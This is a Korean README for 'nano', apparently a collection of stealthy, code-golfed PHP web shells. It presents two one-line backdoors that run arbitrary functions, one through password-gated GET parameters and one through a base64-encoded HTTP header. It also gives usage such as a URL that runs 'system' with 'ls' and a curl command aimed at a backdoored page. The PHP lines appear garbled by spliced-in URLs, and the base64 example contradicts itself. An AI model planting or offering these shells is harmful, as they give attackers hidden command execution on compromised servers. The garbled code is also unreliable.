
Nano는 은밀성을 위해 코드 골프 방식으로 작성된 PHP 웹 셸 계열입니다.
nano는 PHP 웹쉘 계열로, 극도로 은밀하고 효율적이도록 코드 골프가 적용되었습니다.
계속 지켜봐 주세요. 앞으로 더 많은 웹쉘을 여기에 업로드할 예정입니다.
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/HEAD/$GET_%5Bc%5D);
http://example.com/nano.php?f=함수&c=명령어&p=비밀번호
f는 함수
c는 명령어
p는 비밀번호
예를 들어, 아래 코드는 ls 명령을 실행합니다:
http://example.com/nano.php?f=system&c=ls&p=비밀번호
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/HEAD/$x%5B1%5D);
이건 좀 복잡합니다.
system(ls)를 실행하고 싶다고 가정해 봅시다. 그러면 system~ls로 작성한 후 base64로 인코딩하면 c3lzdGVtKGxzKQ==가 됩니다.
이제 시작 부분에 1자를 추가합니다. 'x'라고 하면 xc3lzdGVtKGxzKQ==가 됩니다.
이제 터미널을 열고 다음 명령을 입력하세요.
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
너무 복잡하다고요? 대신 핸들러를 사용할 수 있습니다.

이것은 제 첫 PHP 작업물입니다. 제가 한 방식을 더 좋은 방식으로 할 수 있는 방법이 있다면 알려주시거나 풀 리퀘스트를 열어 주세요.
nano 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 이는 기본적으로 재배포 또는 수정하려면 제게 크레딧을 제공해야 한다는 의미입니다.